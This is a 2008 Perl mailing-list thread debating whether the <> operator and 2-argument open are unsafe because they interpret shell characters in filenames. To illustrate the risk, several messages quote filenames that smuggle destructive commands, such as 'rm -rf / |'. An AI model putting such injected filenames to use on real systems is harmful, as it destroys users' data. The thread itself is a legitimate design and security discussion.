Long time ago filenames were meant for shell- and command line apps. Modern *ix applications (e.g., word processors) allow people to freely supply any filename they want, spaces and whatever included. E.g., when saving a HTML page, using the <title> would be an acceptabe default choice for a file name. So whether it's wrong, or stupid, or whatever -- the chances of the problem happening will grow. -- Johan
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 11:44:06 -0400
To: Johan Vromans <jvromans [...] squirrel.nl>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.2k
Johan Vromans wrote: Show quoted text
> Mark Mielke <mark@mark.mielke.cc> writes: > >
>> Why was this not a problem 10 years ago? >>
> > Long time ago filenames were meant for shell- and command line apps. > Modern *ix applications (e.g., word processors) allow people to freely > supply any filename they want, spaces and whatever included. E.g., > when saving a HTML page, using the <title> would be an acceptabe > default choice for a file name. > > So whether it's wrong, or stupid, or whatever -- the chances of the > problem happening will grow. >
My memory tells me that "word processors" and the like have *always* accepted weird characters. In 1990 or so, I still remember the 'ls' output being messed up because one of the filenames had a BACKSPACE in it. Nothing has changed in this regard. Perhaps people use GUIs more - but even this I don't believe. I've used UNIX GUIs on HP-UX and Solaris since the late 1980s. Frame Maker didn't have file name restrictions that I recall? You are mistaken to believe this is a new problem - my questions is with the urgency. Why does the behaviour need to change? Why is it a problem today when it was not a problem 10 years ago? Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 17:55:22 +0200
To: perl5-porters [...] perl.org
From: jvromans [...] squirrel.nl (Johan Vromans)
Download (untitled) / with headers
text/plain 392b
[Quoting Mark Mielke, on July 26 2008, 11:44, in "Re: [perl #2783] Sec"] Show quoted text
> You are mistaken to believe this is a new problem - my questions is with > the urgency. Why does the behaviour need to change? Why is it a problem > today when it was not a problem 10 years ago?
My point was that the problem is bound to get bigger now more people are using not-filename-limiting tools. -- Johan
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 11:57:20 -0400
To: Ed Avis <eda [...] waniasset.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Ed Avis wrote: Show quoted text
> Mark Mielke <mark <at> mark.mielke.cc> writes: > >
>> What legitimate scenarios use files with names "<x"? >>
> > Very few. But if such a filename does exist, you'd want the program to handle > it in a sane way. > > Unfortunately the world is not always legitimate. Every program using while > (<>) has to come with a health warning that it is unsafe to use unless you know > that no ><| characters are contained in the filenames. >
No, it doesn't. At least not until you can prove this is a real issue hurting people every day. Show quoted text
> Remember gets() in the standard C library? What's the problem with it? No > legitimate use would ever enter a million characters of text when given a prompt > to enter 'yes' or 'no'. And if users are so stupid as to enter too much text > and overflow the fixed buffer, that is a problem with the users and they should > be educated to take more care. > > Yet today, gets() is deprecated and nobody uses it - whether writing 'security > code' or not. It is just too dangerous. >
You are exaggerating. If anybody truly allocated a buffer for gets() that was a million characters, it wouldn't be a problem. Allocating a Mbyte for an input buffer "just in case", however, is ridiculous. People didn't allocate a million characters - they allocated 64, or 512, or 1024. The chance that this is hurt is far, far greater. You are correct that the interface is wrong for gets() is wrong, but in your analogy you have ignored the fact that 2-arg open is a FEATURE not a LIMITATION. The situations are not the same. In gets(), there is a limitation which can cause the executing program to see data corruption, arbitrary code execution, or program termination. In Perl <>, there is a feature that users can pass shell pipes instead of file names or "-" instead of STDIN. The worst that can happen is that the user requests a file they have permission to overwrite, be overwritten. This might happen if the user is naive enough to use ">" as the first character in their file name. What cases of this problem exist? What cases prove that the value of the feature is far less than the cost of allowing the feature? Is this theory, or do you have a legitimate complaint? Show quoted text
>> I strongly disagree. You are turning an existing feature with existing >> syntax into a non-feature, because you think there MIGHT be a >> theoretical somebody incompetent enough to hang themselves with a bit of >> rope. >>
> > First I would like to say that this is best not treated as a moral issue. Those > bad programmers, deserve what they get, we should teach them a lesson, etc. >
You are incorrect. Programming languages can do baby sitting duty, or they can provide plenty of rope. There is a need for both in this world. Both types of languages exist today. Perl has traditionally been the "plenty of rope" type, and this is a major reason why Perl adoption was so high for many years. What other scripting languages allowed users to run arbitrary system calls? You are suggesting that this Perl tradition be turned over. Your reason for requesting it is a trivial theoretical case that has probably happened once in the life time of Perl. Show quoted text
> If the measure of incompetence is using 'while (<>)' in a program without > realizing that it is dangerous, then I have been incompetent many times and so > have lots of others. Again, have a look at the examples you can find on Google > Code Search. All of these people have been incompetent and written programs > that are unsafe to use on arbitrary lists of files. All the programs either > need to be patched to use a safe form of open, or else need to mention the > gotcha in their documentation. >
Your definition of unsafe and mine are different. What is the worst that can happen with these theoretically unsafe programs? Somebody has a file called ">fun". they pass "*" in. Their program overwrites "fun". So what? In order for their to be damage, "fun" would need to exist and contain valuable information. What are the chances that both ">fun" and "fun" exist? The only danger is in setuid usage, where one uses special privileges to overwrite a file they should not have access to. This is precisely what taint-mode is for, and I fully agree that <> should raise issues in taint-mode. I don't agree at all that non-taint-mode should warn or error or have alternate behaviour from <> as it is today. Show quoted text
> The bar for incompetence or being a dimwit is set remarkably low IMHO. Surely > you should not need to be one of the expert 10% (or even the top 90%) to read > some files and count the number of lines. Yet I bet that if you get a sample of > perl programmers and ask them to implement a simple 'wc -l' in perl, more than > nine out of ten will write one that breaks if given a filename beginning with >, > and most of those without even thinking there might be a problem. >
By "break" you mean - fail to allow the use of ">" in the beginning of a file, which is a pretty minimal case. Again - show examples of this problem in the field. Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 11:58:44 -0400
To: Johan Vromans <jvromans [...] squirrel.nl>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 572b
Johan Vromans wrote: Show quoted text
> [Quoting Mark Mielke, on July 26 2008, 11:44, in "Re: [perl #2783] Sec"] >
>> You are mistaken to believe this is a new problem - my questions is with >> the urgency. Why does the behaviour need to change? Why is it a problem >> today when it was not a problem 10 years ago? >>
> > My point was that the problem is bound to get bigger now more people > are using not-filename-limiting tools
Do you have evidence? Perhaps a list of filenames from 1988, 1998, and 2008, to compare against? Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 16:29:40 -0400
To: Zefram <zefram [...] fysh.org>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 4.6k
Zefram wrote: Show quoted text
> Mark Mielke wrote: >
>> I don't understand. What is /$/ reasonably supposed to do? >>
> > It is very frequently used in an attempt to anchor to the end of the > string. Such as > > die "invalid keyword" unless $keyword =~ /^(foo|bar|baz)$/; > > In this context the programmer usually doesn't intend to accept "foo\n". > Newline is a shell metacharacter, of course, and often significant in > file formats, so there's lots of scope for breakage. >
Ah. You didn't mean /$/ - you meant /...$/. Similar to other issues, the real-life problems with accepting "foo" vs "foo\n" are pretty few. I expect the /...$/ cases are more than the 2-argument cases in terms of real-life problems, however, this is ANOTHER case, where I disagree that anything should be "fixed". Users who intend to match end-of-string and only end-of-string should be using \z. It is not the job of Perl to redefine long-standing operators to become less functional and create compatibility problems, just so that somebody who didn't understand what they were doing in the first place, will not break in an obscure use case. Show quoted text
>> Please point out a real-life >> program that uses /$/ that isn't mere theory. >>
> > I presume you mean a real-life program that misbehaves due to misuse > of /$/. On a quick look through /usr/local/share/perl, I found this > in Carp::Clan: > > :unless ( /^-?\d+(?:\.\d+(?:[eE][+-]\d+)?)?$/ > : ) # Looks numeric > :{ > : s/([\\\'])/\\$1/g; # Escape \ and ' > ... > > This is used when displaying function arguments in a stack trace: it's > trying to show numeric values as unquoted numbers and any other defined > value as a quoted string. So these are how it's meant to work: > > $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("abc")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo('abc') called at -e line 1 > $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("abc\n")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo('abc\x0A') called at -e line 1 > $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("123")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo(123) called at -e line 1 > $ > > And this one goes wrong: > > $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("123\n")' > Carp::Clan::__ANON__(): a at -e line 1 > main::foo(123 > ) called at -e line 1 > $ > > OK, this one's not likely to produce a security hole, but it's just the > first instance I set eyes on. It's a very common antipattern. > >
It seems like a pretty harmless one. Show quoted text
>> Plain honest-to-Ritchie file access is obsolete. >>
> > I respectfully disagree. I find the Unix filesystem is an excellent > abstraction, and I use it all the time. >
More people use rich file system identifiers these days than UNIX file system. On Windows, it will happily accept http:// vs ftp:// vs file:// vs \\host\share in many of the "open file" dialogs. This is a good thing, and the trend should continue. PHP already supports this in their open functions and this is widely understood to be a major feature. Show quoted text
>> I want to see http:// >> automatically parsed. >>
> > It's possible to map URIs into Unix filename space. (I had a go at > this myself for Linux a while back, but didn't develop it very far.) > It's also possible to map Unix filenames into URI space. If you want > access to both HTTP and local files in one context, you can still get this > with pure file operations or with pure URI operations, at your option. > If you insist on mixed parsing, then you're a long way from providing a > filename context, and you have to document the rules in order for users > to be able to make intentional use of the features. > >
The rules are pretty well recognized, even by the non-technical. The non-technical would recognize http:// a long time before they would recognize some non-standard overlay of the UNIX file name space with URI. Show quoted text
>> We're decades past the requirements you are >> raising, >>
> > The requirement to not surprise the user? >
Users who don't read the document will always be surprised. In standard UNIX, passing a "-" in has traditionally meant STDIN. One could argue that an experienced user might be "surprised" that "-" was NOT interpretted as STDIN. This argument is entirely relative to the person's expectations. In this case, the expectations should be well instilled. Perl has done what it has done for over a decade, and if somebody is truly surprised today - they should pick up the manual and give it another read. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: 26 Jul 2008 23:11:38 +0200
To: perl5-porters [...] perl.org
From: Johan Vromans <jvromans [...] squirrel.nl>
Download (untitled) / with headers
text/plain 579b
Mark Mielke <mark@mark.mielke.cc> writes: Show quoted text
> Do you have evidence? Perhaps a list of filenames from 1988, 1998, and > 2008, to compare against?
Ah, come on. There are many more people in 2008 using some Linux with Firefox, Thunderbird and OpenOffice than there were in 1998 and 1988. There are many more people in 2008 using some Linux totally unaware of command line shells and special characters than there were in 1998 and 1988. The chances that files with special characters in their names are created is therefore bigger in 2008 than they were in 1998 and 1988. -- Johan
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 23:18:19 +0100
To: perl5-porters [...] perl.org
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 5.1k
Mark Mielke wrote: Show quoted text
>Ah. You didn't mean /$/ - you meant /...$/.
Yes, I meant the $ regexp operator in general, not a pattern consisting only of that operator. Show quoted text
> this is ANOTHER case, where I disagree that >anything should be "fixed".
Oh, I think /$/ is impossible to fix in perl5. There are a great many programs that run regexps on newline-terminated input lines and use /$/ intending for it to match before the newline. These would seriously break if /$/ changed to match only at end of string. I wasn't arguing for this to change, but using it as an example of another case where a very short (and therefore attractive) operator tries to DWIM by complex magical behaviour and ends up surprising the programmer. I think <> could be changed, however. I'm OK with it continuing to process "-" as stdin; you're right that this is a common Unix convention. But its handling of ">foo" and "rm -rf / |" are certainly not conventional. I think (unlike /$/) that the intentional uses of those features are sufficiently rare that it's worth breaking them to make the operator less surprising for everyone else. Show quoted text
> Users who intend to match end-of-string and >only end-of-string should be using \z.
Yes, indeed they need to. But most of them don't: they use the shorter and more familiar operator, and end up with a different program from the one they intended to write. And I remember the days when /\z/ didn't exist: for a while I used /(?!.)/s as the only way to be sure. After writing my earlier message, I had a think about what start/end anchor operators should logically exist, depending on how your string is structured into lines, and which ones we actually have in Perl. I came up with these sets, defining the behaviour explicitly in terms of the regexp operators with simplest behaviour: PURPOSE START END sensible pairs: single undelimited line \A \z single line with \n terminator \A (?=\n\z) zero or more \n-terminated lines (?:\A|(?<=\n))(?!\z) (?=\n) one or more \n-separated lines (?:\A|(?<=\n)) (?=\n|\z) actual pairs: /^...$/, /\A...\Z/ \A (?=\n?\z) /^...$/m (?:\A|(?<=\n)(?!\z)) (?=\n|\z) I am mystified as to the circumstances under which one might actually want the behaviour of /$/ (without /m) or /^/m. Certainly they can be correctly used, with a bit of care, but as far as I can see they never completely match the actual semantics of what constitutes a line start or end. Show quoted text
> just so that somebody who didn't understand what >they were doing in the first place, will not break in an obscure use case.
I think these (<> and some of the regexp things) are unreasonably difficult to understand. /^/m is so difficult to understand that its own implementors have trouble with it. It was documented incorrectly in perlre for years, until I discovered the undocumented /(?!\z)/ bit of its behaviour and pointed it out (bug #27053, resolved by a documentation change in 5.10). I understand these operators. I will jump through the necessary hoops to write the program that I intend, even if the hoop is using a 20-character regexp (as in the table above) instead of the single character that I know from grep. Not to put too fine a point on it, I'm unburned because I know the language inside out and I'm anal about correctness. I'm in a small minority on all three points. Show quoted text
>Users who don't read the document will always be surprised.
Users who read the documentation for perl programs that use <> (such as our hypothetical wc-in-perl) generally don't get told about the magic meaning of "rm -rf / |" as an argument. They will be surprised and burned by the present behaviour. You have to read quite a long way into the <> documentation (in perlop) before it mentions pipe magic. It starts off saying it "emulate[s] the behavior of sed and awk", which covers "-" and the no-arguments case. It then speaks about filenames, and gives an example using glob() in a way that makes it (the example) vulnerable to the very problems we are discussing. It never mentions the magic interpretation of ">foo" or that it loses trailing spaces. Magic behaviour of "-" is less surprising, less dangerous, and more likely to be documented than any of the others. It also has a well-known workaround, ./*, which is also good for avoiding interpretation as switches. The pipe thing can't be worked around that way: consider the file "./; rm -rf / |". Pipe magic here is very nasty. Show quoted text
>In this case, the expectations should be well instilled.
I expect generally unpredictable behaviour if I give a filename containing unusual characters to a program written by anyone else. (Not specifically programs written in scripting languages, or programs written by amateurs, but just programs written by anyone who wasn't me. Hell, I once encountered commercial *kernel* code that lost trailing spaces in filenames.) This expectation has been instilled by years of experience, and reinforced by the psychological understanding that most programmers just don't think about the unusual cases. -zefram
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 01:09:43 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 2.3k
* Tom Christiansen <tchrist@perl.com> [2008-07-20 07:30]: Show quoted text
> And the day that I can no longer rely upon the overlying system > to automatically understand that "-" is STDIN for input or > STDOUT for output is the day that I will fork a parallel copy > of Perl that maintains traditional and expected behavior. > However, I trust that will never need to occur, ofr no pumpking > has ever been so blindly cavalier--which can probably be read > as "foolish" if you're of that bent.
Go ahead. Being able to fork is what free software is all about. I do agree that treating the filename `-` as special is a very nice feature. It cannot cause problems of the sort that filenames with 2-arg-open metacharacters can, either. But then, there is no reason that this feature would have to be chucked out along with the intepretation of other special characters. Show quoted text
> What you don't seem to understand is that taking a homogeneous > approach to argument processing is not a bug, but a feature--a > BIG FEATURE. Perhaps you're too much of a youngster to remember > the days that shells didn't glob command-line arguments for > you, and each program had to parse and process its own command > line string. But I am not. Those were dark days of > unpredictability. It's the wrong way to (not) go about things.
I fail to follow. First you say that a program doing its own magical interpretation of metacharacters in filenames (like pipes and angle brackets) is a BIG FEATURE. Then you say that the days when programs did their own magical interpretation of metacharacters in filenames (like question marks and asterisks) were dark and ruled by unpredictability. Which one is it? Modern shells already have process substitution, which can do anything a user could do with magical filenames and more besides. *That* is a homogenous approach to argument processing, and you are absolutely right: it’s a BIG FAT FEATURE. So what is the value of retaining an API that can and does surprise people in nasty ways in exchange for no added functionality whatsoever? The *only* reason to keep that API is backwards compatibility. It’s a good reason to be sure, but I would prefer a way forward that satisfies that demand without perpertuating the vestigial pragmatics of yesteryear for all eternity and a day beyond. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 01:16:21 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 527b
* Mark Mielke <mark@mark.mielke.cc> [2008-07-25 23:15]: Show quoted text
> How many people have been "burned" by this "problem"? Is the > new class of dimwits exceedingly more dimwitted than the > previous? Why was this not a problem 10 years ago?
Just because you didn’t hear about it before doesn’t mean no one else knew of it. I’ve been preaching the use of 3-arg open ever since it was introduced, and I’ve known of the diamond operator’s problem for just as long. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
CC: Zefram <zefram [...] fysh.org>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 00:19:16 +0100
To: Mark Mielke <mark [...] mark.mielke.cc>
From: Andy Armstrong <andy [...] hexten.net>
Download (untitled) / with headers
text/plain 479b
On 26 Jul 2008, at 21:29, Mark Mielke wrote: Show quoted text
> More people use rich file system identifiers these days than UNIX > file system. On Windows, it will happily accept http:// vs ftp:// vs > file:// vs \\host\share in many of the "open file" dialogs. This is > a good thing, and the trend should continue. PHP already supports > this in their open functions and this is widely understood to be a > major feature.
s/feature/security hole/ :) -- Andy Armstrong, Hexten
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 01:31:31 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 1.1k
* Mark Mielke <mark@mark.mielke.cc> [2008-07-26 18:00]: Show quoted text
> Johan Vromans wrote:
>> [Quoting Mark Mielke, on July 26 2008, 11:44, in "Re: [perl #2783] Sec"] >>
>>> You are mistaken to believe this is a new problem - my >>> questions is with the urgency. Why does the behaviour need to >>> change? Why is it a problem today when it was not a problem >>> 10 years ago?
>> >> My point was that the problem is bound to get bigger now more >> people are using not-filename-limiting tools
> > Do you have evidence? Perhaps a list of filenames from 1988, > 1998, and 2008, to compare against?
Yes. The filenames in home directories on servers I administrate today are brimming with spaces, parens and square brackets. And those are from Windows users, who mount their home directories on their Windows machine or use SFTP or such to shuttle files around. No one (in relative terms) uses Unix without a desktop environment anymore either. Now what characters that Windows users cannot type in Save As do you think are a problem in GNOME or KDE? Question marks? Colons? Asterisks? Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 01:43:32 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 1.3k
* Mark Mielke <mark@mark.mielke.cc> [2008-07-26 22:30]: Show quoted text
> More people use rich file system identifiers these days than > UNIX file system. On Windows, it will happily accept http:// > vs ftp:// vs file:// vs \\host\share in many of the "open > file" dialogs. This is a good thing, and the trend should > continue. PHP already supports this in their open functions > and this is widely understood to be a major feature.
Yes, it reduces the amount of work necessary to hack sites written by PHP neophytes so much. All crackers agree, it’s the coolest feature ever. Show quoted text
> Users who don't read the document will always be surprised.
No one, and I mean NO ONE, reads the documentation, *every last line* of the documentation, before using a program. If *you* do, you are either a liar or a lawyer. “Read the documentation or get what you deserve” is utterly wrong-headed snobbism and completely counteproductive. Show quoted text
> One could argue that an experienced user might be "surprised" > that "-" was NOT interpretted as STDIN. This argument is > entirely relative to the person's expectations.
The special intepretation of `-` is a completely different beast from the special interpretation of `rm -rf ~ |`. There is no reason that getting rid of the latter would have to lose us the former. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
CC: Zefram <zefram [...] fysh.org>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:05:11 -0400
To: Andy Armstrong <andy [...] hexten.net>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.9k
Andy Armstrong wrote: Show quoted text
> On 26 Jul 2008, at 21:29, Mark Mielke wrote:
>> More people use rich file system identifiers these days than UNIX >> file system. On Windows, it will happily accept http:// vs ftp:// vs >> file:// vs \\host\share in many of the "open file" dialogs. This is a >> good thing, and the trend should continue. PHP already supports this >> in their open functions and this is widely understood to be a major >> feature.
> > s/feature/security hole/ :)
Joking aside - productivity and security are always values at odds with each other. The most secure solution is the solution that provides no functions at all. Second best is a locked room with no network access and restricted physical access. The moment you let a user do _anything_ you open the door to exploitation. It is not correct to conclude that flexibility is unacceptable. It depends on the application requirements. I wouldn't hire a minimum wage Perl programmer with no experience to write a security system. It would be ridiculous. I, and the majority of the traditional Perl users, chose Perl because of its flexibility. It's ability to do things that other languages could not, or could not do well, at the time. Yes, flexibility means effort is required to secure the solution. This is normal, no matter what language you choose. Again, what is the worst that can really happen? So the user is able to access a resource that they already have permission to. So what? There are so many ways to get a user to screw up - that <> doesn't make my list. Social engineering is probably the easiest method of having a user screw up. Convince a stupid user to type "rm -fr /" as root as the solution to their problem with a driver or program that doesn't work. I've seen it happen. To put <> into this class is silly to me. Why not put open() in general in this class? Why not remove all the system calls. That way the user won't be able to do ANYTHING dangerous. See where this goes? :-) Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:06:18 -0400
To: Johan Vromans <jvromans [...] squirrel.nl>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 848b
Johan Vromans wrote: Show quoted text
> Mark Mielke <mark@mark.mielke.cc> writes
>> Do you have evidence? Perhaps a list of filenames from 1988, 1998, and >> 2008, to compare against? >>
> > Ah, come on. There are many more people in 2008 using some Linux with > Firefox, Thunderbird and OpenOffice than there were in 1998 and 1988. > There are many more people in 2008 using some Linux totally unaware of > command line shells and special characters than there were in 1998 and > 1988. The chances that files with special characters in their names > are created is therefore bigger in 2008 than they were in 1998 and > 1988
This hardly constitutes evidence. It is your guess. That you haven't been able to point to a real-life scenario of this issue being a problem suggests to me that your guess is wrong. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sat, 26 Jul 2008 21:08:56 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Aristotle Pagaltzis wrote: Show quoted text
> Modern shells already have process substitution, which can > do anything a user could do with magical filenames and more > besides. *That* is a homogenous approach to argument processing, > and you are absolutely right: it’s a BIG FAT FEATURE. So what is > the value of retaining an API that can and does surprise people > in nasty ways in exchange for no added functionality whatsoever? > > The *only* reason to keep that API is backwards compatibility. > It’s a good reason to be sure, but I would prefer a way forward > that satisfies that demand without perpertuating the vestigial > pragmatics of yesteryear for all eternity and a day beyond. >
This logic does not follow. That the shell provides a feature, therefore Perl does not need to provide the feature, is pretty backwards thinking in my opinion. You need to provide something more substantial than this. Specifically, point out a place where the existing behaviour is causing a *real* problem. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:15:50 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-25 23:15]: >
>> How many people have been "burned" by this "problem"? Is the >> new class of dimwits exceedingly more dimwitted than the >> previous? Why was this not a problem 10 years ago? >>
> > Just because you didn’t hear about it before doesn’t mean no one > else knew of it. I’ve been preaching the use of 3-arg open ever > since it was introduced, and I’ve known of the diamond operator’s > problem for just as long. >
I think you misunderstand. I also agreed with 3-arg open ever since it was introduced. What I don't agree with, is that 2-arg open should be "broken" because of a fear that somebody somewhere might be burned. As for <>, it's much to trivial for any serious program with complex requirements, so I find it questionable that the subset is as serious of a concern as some people are making it out to be. eval "" is dangerous as well. Would you suggest blocking it as well? Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:17:04 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 938b
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-26 18:00]: >
>> Do you have evidence? Perhaps a list of filenames from 1988, >> 1998, and 2008, to compare against? >>
> > Yes. The filenames in home directories on servers I administrate > today are brimming with spaces, parens and square brackets. And > those are from Windows users, who mount their home directories on > their Windows machine or use SFTP or such to shuttle files > around. No one (in relative terms) uses Unix without a desktop > environment anymore either. Now what characters that Windows > users cannot type in Save As do you think are a problem in GNOME > or KDE? Question marks? Colons? Asterisks? >
Good. This is interesting. Please report back on the number of actual files in 1988, 1998, and 2008, that use ">", "<", or "|" as the first or last character in the file name. Thanks, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:19:31 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-26 22:30]: >
>> More people use rich file system identifiers these days than >> UNIX file system. On Windows, it will happily accept http:// >> vs ftp:// vs file:// vs \\host\share in many of the "open >> file" dialogs. This is a good thing, and the trend should >> continue. PHP already supports this in their open functions >> and this is widely understood to be a major feature. >>
> > Yes, it reduces the amount of work necessary to hack sites > written by PHP neophytes so much. All crackers agree, it’s the > coolest feature ever. >
No - I don't think so. The crackers likely agree that eval or non-escaped literal substitution are the coolest features ever. I'm not sure why http:// would make the list. Feel free to educate me by pointing to a situation where open() handling http:// makes a PHP script exploitable, where blocking http:// would have made the PHP script impenetrable. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 03:36:37 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 1.5k
* Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:10]: Show quoted text
> Aristotle Pagaltzis wrote:
>> Modern shells already have process substitution, which can >> do anything a user could do with magical filenames and more >> besides. *That* is a homogenous approach to argument processing, >> and you are absolutely right: it’s a BIG FAT FEATURE. So what is >> the value of retaining an API that can and does surprise people >> in nasty ways in exchange for no added functionality whatsoever? >> >> The *only* reason to keep that API is backwards compatibility. >> It’s a good reason to be sure, but I would prefer a way forward >> that satisfies that demand without perpertuating the vestigial >> pragmatics of yesteryear for all eternity and a day beyond. >>
> > This logic does not follow. That the shell provides a feature, > therefore Perl does not need to provide the feature, is pretty > backwards thinking in my opinion. You need to provide > something more substantial than this.
Asserting that I have to doesn’t make it so. Please give me a use case for 2-arg open magic using implicitly from the command line that cannot be implemented with process substitution, or can only be implemented with process substitution with significantly more difficulty. If you can’t, then my assertion is correct. Show quoted text
> Specifically, point out a place where the existing behaviour is > causing a *real* problem.
If the feature is no longer pulling its weight, then the burden of proof is on your side, not mine. So go ahead: what use case does the feature solve? Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 03:41:26 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 505b
* Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:10]: Show quoted text
> Again, what is the worst that can really happen? So the user is > able to access a resource that they already have permission > to. So what? There are so many ways to get a user to screw up
Do you regard symlink attacks as a hole in the respective software? If so, please explain to me how your opinion in that case is not self-contradictory with the opinion you expressed above. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 03:44:19 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 335b
* Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:20]: Show quoted text
> Feel free to educate me by pointing to a situation where open() > handling http:// makes a PHP script exploitable, where blocking > http:// would have made the PHP script impenetrable.
PHP `require` uses `open`. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 03:49:03 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 1015b
* Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:20]: Show quoted text
> Aristotle Pagaltzis wrote:
>> Yes. The filenames in home directories on servers I >> administrate today are brimming with spaces, parens and square >> brackets. And those are from Windows users, who mount their >> home directories on their Windows machine or use SFTP or such >> to shuttle files around. No one (in relative terms) uses Unix >> without a desktop environment anymore either. Now what >> characters that Windows users cannot type in Save As do you >> think are a problem in GNOME or KDE? Question marks? Colons? >> Asterisks?
> > Good. This is interesting. Please report back on the number of > actual files in 1988, 1998, and 2008, that use ">", "<", or > "|" as the first or last character in the file name.
You’re being onery on purpose, but I’ll humour you: I found none of those, but a handful of files with spaces at the beginning of their name. Thanks for playing. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
